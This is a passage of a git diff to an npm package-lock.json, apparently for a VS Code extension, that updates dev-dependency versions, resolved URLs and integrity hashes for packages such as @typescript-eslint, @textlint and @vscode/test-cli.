"sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==", - "dev": true - }, "node_modules/@textlint/module-interop": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-14.8.4.tgz", - "integrity": "sha512-1LdPYLAVpa27NOt6EqvuFO99s4XLB0c19Hw9xKSG6xQ1K82nUEyuWhzTQKb3KJ5Qx7qj14JlXZLfnEuL6A16Bw==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/module-interop/-/module-interop-15.2.2.tgz", + "integrity": "sha512-2rmNcWrcqhuR84Iio1WRzlc4tEoOMHd6T7urjtKNNefpTt1owrTJ9WuOe60yD3FrTW0J/R0ux5wxUbP/eaeFOA==", "dev": true }, "node_modules/@textlint/resolver": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-14.8.4.tgz", - "integrity": "sha512-nMDOgDAVwNU9ommh+Db0U+MCMNDPbQ/1HBNjbnHwxZkCpcT6hsAJwBe38CW/DtWVUv8yeR4R40IYNPT84srNwA==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/resolver/-/resolver-15.2.2.tgz", + "integrity": "sha512-4hGWjmHt0y+5NAkoYZ8FvEkj8Mez9TqfbTm3BPjoV32cIfEixl2poTOgapn1rfm73905GSO3P1jiWjmgvii13Q==", "dev": true }, "node_modules/@textlint/types": { - "version": "14.8.4", - "resolved": "https://registry.npmjs.org/@textlint/types/-/types-14.8.4.tgz", - "integrity": "sha512-9nyY8vVXlr8hHKxa6+37omJhXWCwovMQcgMteuldYd4dOxGm14AK2nXdkgtKEUQnzLGaXy46xwLCfhQy7V7/YA==", + "version": "15.2.2", + "resolved": "https://registry.npmjs.org/@textlint/types/-/types-15.2.2.tgz", + "integrity": "sha512-X2BHGAR3yXJsCAjwYEDBIk9qUDWcH4pW61ISfmtejau+tVqKtnbbvEZnMTb6mWgKU1BvTmftd5DmB1XVDUtY3g==", "dev": true, "dependencies": { - "@textlint/ast-node-types": "14.8.4" + "@textlint/ast-node-types": "15.2.2" } }, "node_modules/@tootallnate/once": { @@ -1861,10 +2105,45 @@ "node": ">= 10" } }, + "node_modules/@trivago/prettier-plugin-sort-imports": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/@trivago/prettier-plugin-sort-imports/-/prettier-plugin-sort-imports-5.2.2.tgz", + "integrity": "sha512-fYDQA9e6yTNmA13TLVSA+WMQRc5Bn/c0EUBditUHNfMMxN7M82c38b1kEggVE3pLpZ0FwkwJkUEKMiOi52JXFA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@babel/generator": "^7.26.5", + "@babel/parser": "^7.26.7", + "@babel/traverse": "^7.26.7", + "@babel/types": "^7.26.7", + "javascript-natural-sort": "^0.7.1", + "lodash": "^4.17.21" + }, + "engines": { + "node": ">18.12" + }, + "peerDependencies": { + "@vue/compiler-sfc": "3.x", + "prettier": "2.x - 3.x", + "prettier-plugin-svelte": "3.x", + "svelte": "4.x || 5.x" + }, + "peerDependenciesMeta": { + "@vue/compiler-sfc": { + "optional": true + }, + "prettier-plugin-svelte": { + "optional": true + }, + "svelte": { + "optional": true + } + } + }, "node_modules/@types/archiver": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-6.0.3.tgz", - "integrity": "sha512-a6wUll6k3zX6qs5KlxIggs1P1JcYJaTCx2gnlr+f0S1yd2DoaEwoIK10HmBaLnZwWneBz+JBm0dwcZu0zECBcQ==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-7.0.0.tgz", + "integrity": "sha512-/3vwGwx9n+mCQdYZ2IKGGHEFL30I96UgBlk8EtRDDFQ9uxM1l4O5Ci6r00EMAkiDaTqD9DQ6nVrWRICnBPtzzg==", "dev": true, "dependencies": { "@types/readdir-glob": "*" @@ -1928,11 +2207,22 @@ "@types/node": "*" } }, + "node_modules/@types/diff": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/@types/diff/-/diff-8.0.0.tgz", + "integrity": "sha512-o7jqJM04gfaYrdCecCVMbZhNdG6T1MHg/oQoRFdERLV+4d+V7FijhiEAbFu0Usww84Yijk9yH58U4Jk4HbtzZw==", + "deprecated": "This is a stub types definition. diff provides its own type definitions, so you do not need this installed.", + "dev": true, + "dependencies": { + "diff": "*" + } + }, "node_modules/@types/istanbul-lib-coverage": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", - "dev": true + "dev": true, + "license": "MIT" }, "node_modules/@types/jsonwebtoken": { "version": "9.0.9", @@ -1978,11 +2268,10 @@ } }, "node_modules/@types/micromatch": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.9.tgz", - "integrity": "sha512-7V+8ncr22h4UoYRLnLXSpTxjQrNUXtWHGeMPRJt1nULXI57G9bIcpyrHlmrQ7QK24EyyuXvYcSSWAM8GA9nqCg==", + "version": "4.0.10", + "resolved": "https://registry.npmjs.org/@types/micromatch/-/micromatch-4.0.10.tgz", + "integrity": "sha512-5jOhFDElqr4DKTrTEbnW8DZ4Hz5LRUEmyrGpCMrD/NphYv3nUnaF08xmSLx1rGGnyEs/kFnhiw6dCgcDqMr5PQ==", "dev": true, - "license": "MIT", "dependencies": { "@types/braces": "*" } @@ -2012,9 +2301,9 @@ "license": "MIT" }, "node_modules/@types/node": { - "version": "20.19.9", - "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.9.tgz", - "integrity": "sha512-cuVNgarYWZqxRJDQHEB58GEONhOK79QVR/qYx4S7kcUObQvUwvFnYxJuuHUKm2aieN9X3yZB4LZsuYNU1Qphsw==", + "version": "20.19.24", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.24.tgz", + "integrity": "sha512-FE5u0ezmi6y9OZEzlJfg37mqqf6ZDSF2V/NLjUyGrR9uTZ7Sb9F7bLNZ03S4XVUNRWGA7Ck4c1kK+YnuWjl+DA==", "dev": true, "dependencies": { "undici-types": "~6.21.0" @@ -2052,11 +2341,10 @@ "dev": true }, "node_modules/@types/semver": { - "version": "7.7.0", - "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.0.tgz", - "integrity": "sha512-k107IF4+Xr7UHjwDc7Cfd6PRQfbdkiRabXGRjo07b4WyPahFBZCZ1sE+BNxYIJPPg73UkfOsVOLwqVc/6ETrIA==", - "dev": true, - "license": "MIT" + "version": "7.7.1", + "resolved": "https://registry.npmjs.org/@types/semver/-/semver-7.7.1.tgz", + "integrity": "sha512-FmgJfu+MOcQ370SD0ev7EI8TlCAfKYU+B4m5T3yXc1CiRN94g/SZPtsCkk506aUDtlMnFZvasDwHHUcZUEaYuA==", + "dev": true }, "node_modules/@types/sinon": { "version": "17.0.4", @@ -2086,6 +2374,49 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/source-map-support": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/@types/source-map-support/-/source-map-support-0.5.10.tgz", + "integrity": "sha512-tgVP2H469x9zq34Z0m/fgPewGhg/MLClalNOiPIzQlXrSS2YrKu/xCdSCKnEDwkFha51VKEKB6A9wW26/ZNwzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "source-map": "^0.6.0" + } + }, + "node_modules/@types/svg2ttf": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/@types/svg2ttf/-/svg2ttf-5.0.3.tgz", + "integrity": "sha512-hL+/A4qMISvDbDTtdY73R0zuvsdc7YRYnV5FyAfKVGk8OsluXu/tCFxop7IB5Sgr+ZCS0hHtFxylD0REmm+abA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/svgicons2svgfont": { + "version": "10.0.5", + "resolved": "https://registry.npmjs.org/@types/svgicons2svgfont/-/svgicons2svgfont-10.0.5.tgz", + "integrity": "sha512-7BUT1sEFSNBIcc0wlwKn2l3l3OnYJdjsrlruDbAp6hpOK3HbpgMjLVH4ql6xXwD+qYy+XEHrb2EMkIpo9kWZ+Q==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/triple-beam": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/triple-beam/-/triple-beam-1.3.5.tgz", + "integrity": "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/ttf2woff": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@types/ttf2woff/-/ttf2woff-2.0.4.tgz", + "integrity": "sha512-pD66iwSkU5lIMWWTz5sxIMjwM7/qs/EYgE01vqu5C3S1izONHiF1GRy2dWvlKMlC39TfZszP7+OVXgVk3BccOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, "node_modules/@types/vscode": { "version": "1.89.0", "resolved": "https://registry.npmjs.org/@types/vscode/-/vscode-1.89.0.tgz", @@ -2102,16 +2433,16 @@ } }, "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.38.0.tgz", - "integrity": "sha512-CPoznzpuAnIOl4nhj4tRr4gIPj5AfKgkiJmGQDaq+fQnRJTYlcBjbX3wbciGmpoPf8DREufuPRe1tNMZnGdanA==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.46.3.tgz", + "integrity": "sha512-sbaQ27XBUopBkRiuY/P9sWGOWUW4rl8fDoHIUmLpZd8uldsTyB4/Zg6bWTegPoTLnKj9Hqgn3QD6cjPNB32Odw==", "dev": true, "dependencies": { "@eslint-community/regexpp": "^4.10.0", - "@typescript-eslint/scope-manager": "8.38.0", - "@typescript-eslint/type-utils": "8.38.0", - "@typescript-eslint/utils": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0", + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/type-utils": "8.46.3", + "@typescript-eslint/utils": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", "graphemer": "^1.4.0", "ignore": "^7.0.0", "natural-compare": "^1.4.0", @@ -2125,9 +2456,9 @@ "url": "https://opencollective.com/typescript-eslint" }, "peerDependencies": { - "@typescript-eslint/parser": "^8.38.0", + "@typescript-eslint/parser": "^8.46.3", "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { @@ -2141,15 +2472,15 @@ } }, "node_modules/@typescript-eslint/parser": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.38.0.tgz", - "integrity": "sha512-Zhy8HCvBUEfBECzIl1PKqF4p11+d0aUJS1GeUiuqK9WmOug8YCmC4h4bjyBvMyAMI9sbRczmrYL5lKg/YMbrcQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.46.3.tgz", + "integrity": "sha512-6m1I5RmHBGTnUGS113G04DMu3CpSdxCAU/UvtjNWL4Nuf3MW9tQhiJqRlHzChIkhy6kZSAQmc+I1bcGjE3yNKg==", "dev": true, "dependencies": { - "@typescript-eslint/scope-manager": "8.38.0", - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/typescript-estree": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0", + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", "debug": "^4.3.4" }, "engines": { @@ -2161,17 +2492,17 @@ }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/project-service": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.38.0.tgz", - "integrity": "sha512-dbK7Jvqcb8c9QfH01YB6pORpqX1mn5gDZc9n63Ak/+jD67oWXn3Gs0M6vddAN+eDXBCS5EmNWzbSxsn9SzFWWg==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.46.3.tgz", + "integrity": "sha512-Fz8yFXsp2wDFeUElO88S9n4w1I4CWDTXDqDr9gYvZgUpwXQqmZBr9+NTTql5R3J7+hrJZPdpiWaB9VNhAKYLuQ==", "dev": true, "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.38.0", - "@typescript-eslint/types": "^8.38.0", + "@typescript-eslint/tsconfig-utils": "^8.46.3", + "@typescript-eslint/types": "^8.46.3", "debug": "^4.3.4" }, "engines": { @@ -2182,17 +2513,17 @@ "url": "https://opencollective.com/typescript-eslint" }, "peerDependencies": { - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/scope-manager": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.38.0.tgz", - "integrity": "sha512-WJw3AVlFFcdT9Ri1xs/lg8LwDqgekWXWhH3iAF+1ZM+QPd7oxQ6jvtW/JPwzAScxitILUIFs0/AnQ/UWHzbATQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.46.3.tgz", + "integrity": "sha512-FCi7Y1zgrmxp3DfWfr+3m9ansUUFoy8dkEdeQSgA9gbm8DaHYvZCdkFRQrtKiedFf3Ha6VmoqoAaP68+i+22kg==", "dev": true, "dependencies": { - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0" + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3" }, "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -2203,9 +2534,9 @@ } }, "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.38.0.tgz", - "integrity": "sha512-Lum9RtSE3EroKk/bYns+sPOodqb2Fv50XOl/gMviMKNvanETUuUcC9ObRbzrJ4VSd2JalPqgSAavwrPiPvnAiQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.46.3.tgz", + "integrity": "sha512-GLupljMniHNIROP0zE7nCcybptolcH8QZfXOpCfhQDAdwJ/ZTlcaBOYebSOZotpti/3HrHSw7D3PZm75gYFsOA==", "dev": true, "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -2215,18 +2546,18 @@ "url": "https://opencollective.com/typescript-eslint" }, "peerDependencies": { - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/type-utils": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.38.0.tgz", - "integrity": "sha512-c7jAvGEZVf0ao2z+nnz8BUaHZD09Agbh+DY7qvBQqLiz8uJzRgVPj5YvOh8I8uEiH8oIUGIfHzMwUcGVco/SJg==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.46.3.tgz", + "integrity": "sha512-ZPCADbr+qfz3aiTTYNNkCbUt+cjNwI/5McyANNrFBpVxPt7GqpEYz5ZfdwuFyGUnJ9FdDXbGODUu6iRCI6XRXw==", "dev": true, "dependencies": { - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/typescript-estree": "8.38.0", - "@typescript-eslint/utils": "8.38.0", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3", + "@typescript-eslint/utils": "8.46.3", "debug": "^4.3.4", "ts-api-utils": "^2.1.0" }, @@ -2239,13 +2570,13 @@ }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/types": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.38.0.tgz", - "integrity": "sha512-wzkUfX3plUqij4YwWaJyqhiPE5UCRVlFpKn1oCRn2O1bJ592XxWJj8ROQ3JD5MYXLORW84063z3tZTb/cs4Tyw==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.46.3.tgz", + "integrity": "sha512-G7Ok9WN/ggW7e/tOf8TQYMaxgID3Iujn231hfi0Pc7ZheztIJVpO44ekY00b7akqc6nZcvregk0Jpah3kep6hA==", "dev": true, "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -2256,15 +2587,15 @@ } }, "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.38.0.tgz", - "integrity": "sha512-fooELKcAKzxux6fA6pxOflpNS0jc+nOQEEOipXFNjSlBS6fqrJOVY/whSn70SScHrcJ2LDsxWrneFoWYSVfqhQ==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.46.3.tgz", + "integrity": "sha512-f/NvtRjOm80BtNM5OQtlaBdM5BRFUv7gf381j9wygDNL+qOYSNOgtQ/DCndiYi80iIOv76QqaTmp4fa9hwI0OA==", "dev": true, "dependencies": { - "@typescript-eslint/project-service": "8.38.0", - "@typescript-eslint/tsconfig-utils": "8.38.0", - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/visitor-keys": "8.38.0", + "@typescript-eslint/project-service": "8.46.3", + "@typescript-eslint/tsconfig-utils": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/visitor-keys": "8.46.3", "debug": "^4.3.4", "fast-glob": "^3.3.2", "is-glob": "^4.0.3", @@ -2280,7 +2611,7 @@ "url": "https://opencollective.com/typescript-eslint" }, "peerDependencies": { - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { @@ -2308,15 +2639,15 @@ } }, "node_modules/@typescript-eslint/utils": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.38.0.tgz", - "integrity": "sha512-hHcMA86Hgt+ijJlrD8fX0j1j8w4C92zue/8LOPAFioIno+W0+L7KqE8QZKCcPGc/92Vs9x36w/4MPTJhqXdyvg==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.46.3.tgz", + "integrity": "sha512-VXw7qmdkucEx9WkmR3ld/u6VhRyKeiF1uxWwCy/iuNfokjJ7VhsgLSOTjsol8BunSw190zABzpwdNsze2Kpo4g==", "dev": true, "dependencies": { "@eslint-community/eslint-utils": "^4.7.0", - "@typescript-eslint/scope-manager": "8.38.0", - "@typescript-eslint/types": "8.38.0", - "@typescript-eslint/typescript-estree": "8.38.0" + "@typescript-eslint/scope-manager": "8.46.3", + "@typescript-eslint/types": "8.46.3", + "@typescript-eslint/typescript-estree": "8.46.3" }, "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -2327,16 +2658,16 @@ }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <5.9.0" + "typescript": ">=4.8.4 <6.0.0" } }, "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.38.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.38.0.tgz", - "integrity": "sha512-pWrTcoFNWuwHlA9CvlfSsGWs14JxfN1TH25zM5L7o0pRLhsoZkDnTsXfQRJBEWJoV5DL0jf+Z+sxiud+K0mq1g==", + "version": "8.46.3", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.46.3.tgz", + "integrity": "sha512-uk574k8IU0rOF/AjniX8qbLSGURJVUCeM5e4MIMKBFFi8weeiLrG1fyQejyLXQpRZbU/1BuQasleV/RfHC3hHg==", "dev": true, "dependencies": { - "@typescript-eslint/types": "8.38.0", + "@typescript-eslint/types": "8.46.3", "eslint-visitor-keys": "^4.2.1" }, "engines": { @@ -2366,9 +2697,10 @@ "dev": true }, "node_modules/@vscode/codicons": { - "version": "0.0.38", - "resolved": "https://registry.npmjs.org/@vscode/codicons/-/codicons-0.0.38.tgz", - "integrity": "sha512-g4uInb63ECu0URD0DlyBzwXu2TksWUOaMSzQcKRoc3mXSNrjR3wC7EB3PA0Iq83eK8KCEKoVzkC1clt/r1euqA==" + "version": "0.0.41", + "resolved": "https://registry.npmjs.org/@vscode/codicons/-/codicons-0.0.41.tgz", + "integrity": "sha512-v6/8nx76zau3Joxjzi3eN/FVw+7jKBq4j7LTZY5FhFhq2g0OoFebZ3vRZbv/pUopGpbCnJJ4FOz+NzbjVsmoiw==", + "license": "CC-BY-4.0" }, "node_modules/@vscode/debugprotocol": { "version": "1.68.0", @@ -2377,20 +2709,20 @@ "dev": true }, "node_modules/@vscode/test-cli": { - "version": "0.0.11", - "resolved": "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.11.tgz", - "integrity": "sha512-qO332yvzFqGhBMJrp6TdwbIydiHgCtxXc2Nl6M58mbH/Z+0CyLR76Jzv4YWPEthhrARprzCRJUqzFvTHFhTj7Q==", + "version": "0.0.12", + "resolved": "https://registry.npmjs.org/@vscode/test-cli/-/test-cli-0.0.12.tgz", + "integrity": "sha512-iYN0fDg29+a2Xelle/Y56Xvv7Nc8Thzq4VwpzAF/SIE6918rDicqfsQxV6w1ttr2+SOm+10laGuY9FG2ptEKsQ==", "dev": true, "license": "MIT", "dependencies": { - "@types/mocha": "^10.0.2", - "c8": "^9.1.0", - "chokidar": "^3.5.3", - "enhanced-resolve": "^5.15.0", + "@types/mocha": "^10.0.10", + "c8": "^10.1.3", + "chokidar": "^3.6.0", + "enhanced-resolve": "^5.18.3", "glob": "^10.3.10", "minimatch": "^9.0.3", - "mocha": "^11.1.0", - "supports-color": "^9.4.0", + "mocha": "^11.7.4", + "supports-color": "^10.2.2", "yargs": "^17.7.2" }, "bin": { @@ -2401,39 +2733,14 @@ } }, "node_modules/@vscode/test-cli/node_modules/brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "dev": true, "dependencies": { "balanced-match": "^1.0.0" } }, - "node_modules/@vscode/test-cli/node_modules/c8": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/c8/-/c8-9.1.0.tgz", - "integrity": "sha512-mBWcT5iqNir1zIkzSPyI3NCR9EZCVI3WUD+AVO17MVWTSFNyUueXE82qTeampNtTr+ilN/5Ua3j24LgbCKjDVg==", - "dev": true, - "dependencies": { - "@bcoe/v8-coverage": "^0.2.3", - "@istanbuljs/schema": "^0.1.3", - "find-up": "^5.0.0", - "foreground-child": "^3.1.1", - "istanbul-lib-coverage": "^3.2.0", - "istanbul-lib-report": "^3.0.1", - "istanbul-reports": "^3.1.6", - "test-exclude": "^6.0.0", - "v8-to-istanbul": "^9.0.0", - "yargs": "^17.7.2", - "yargs-parser": "^21.1.1" - }, - "bin": { - "c8": "bin/c8.js" - }, - "engines": { - "node": ">=14.14.0" - } - }, "node_modules/@vscode/test-cli/node_modules/glob": { "version": "10.4.5", "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", @@ -2472,102 +2779,46 @@ } }, "node_modules/@vscode/test-cli/node_modules/supports-color": { - "version": "9.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-9.4.0.tgz", - "integrity": "sha512-VL+lNrEoIXww1coLPOmiEmK/0sGigko5COxI09KzHc2VJXJsQ37UaQ+8quuxjDeA7+KnLGTWRyOXSLLR2Wb4jw==", + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-10.2.2.tgz", + "integrity": "sha512-SS+jx45GF1QjgEXQx4NJZV9ImqmO2NPz5FNsIHrsDjh2YsHnawpan7SNQ1o8NuhrbHZy9AZhIoCUiCeaW/C80g==", "dev": true, + "license": "MIT", "engines": { - "node": ">=12" + "node": ">=18" }, "funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/@vscode/test-cli/node_modules/test-exclude": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz", - "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==", + "node_modules/@vscode/test-electron": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-2.5.2.tgz", + "integrity": "sha512-8ukpxv4wYe0iWMRQU18jhzJOHkeGKbnw7xWRX3Zw1WJA4cEKbHcmmLPdPrPtL6rhDcrlCZN+xKRpv09n4gRHYg==", "dev": true, + "license": "MIT", "dependencies": { - "@istanbuljs/schema": "^0.1.2", - "glob": "^7.1.4", - "minimatch": "^3.0.4" + "http-proxy-agent": "^7.0.2", + "https-proxy-agent": "^7.0.5", + "jszip": "^3.10.1", + "ora": "^8.1.0", + "semver": "^7.6.2" }, "engines": { - "node": ">=8" + "node": ">=16" } }, - "node_modules/@vscode/test-cli/node_modules/test-exclude/node_modules/brace-expansion": { - "version": "1.1.11", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", - "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", - "dev": true, - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/@vscode/test-cli/node_modules/test-exclude/node_modules/glob": { - "version": "7.2.3", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", - "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", - "deprecated": "Glob versions prior to v9 are no longer supported", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.1.1", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@vscode/test-cli/node_modules/test-exclude/node_modules/minimatch": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - "dev": true, - "dependencies": { - "brace-expansion": "^1.1.7" - }, - "engines": { - "node": "*" - } - }, - "node_modules/@vscode/test-electron": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/@vscode/test-electron/-/test-electron-2.5.2.tgz", - "integrity": "sha512-8ukpxv4wYe0iWMRQU18jhzJOHkeGKbnw7xWRX3Zw1WJA4cEKbHcmmLPdPrPtL6rhDcrlCZN+xKRpv09n4gRHYg==", - "dev": true, - "license": "MIT", - "dependencies": { - "http-proxy-agent": "^7.0.2", - "https-proxy-agent": "^7.0.5", - "jszip": "^3.10.1", - "ora": "^8.1.0", - "semver": "^7.6.2" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/@vscode/vsce": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.6.0.tgz", - "integrity": "sha512-u2ZoMfymRNJb14aHNawnXJtXHLXDVKc1oKZaH4VELKT/9iWKRVgtQOdwxCgtwSxJoqYvuK4hGlBWQJ05wxADhg==", + "node_modules/@vscode/vsce": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/@vscode/vsce/-/vsce-3.6.2.tgz", + "integrity": "sha512-gvBfarWF+Ii20ESqjA3dpnPJpQJ8fFJYtcWtjwbRADommCzGg1emtmb34E+DKKhECYvaVyAl+TF9lWS/3GSPvg==", "dev": true, "dependencies": { "@azure/identity": "^4.1.0", - "@secretlint/node": "^10.1.1", - "@secretlint/secretlint-formatter-sarif": "^10.1.1", - "@secretlint/secretlint-rule-no-dotenv": "^10.1.1", - "@secretlint/secretlint-rule-preset-recommend": "^10.1.1", + "@secretlint/node": "^10.1.2", + "@secretlint/secretlint-formatter-sarif": 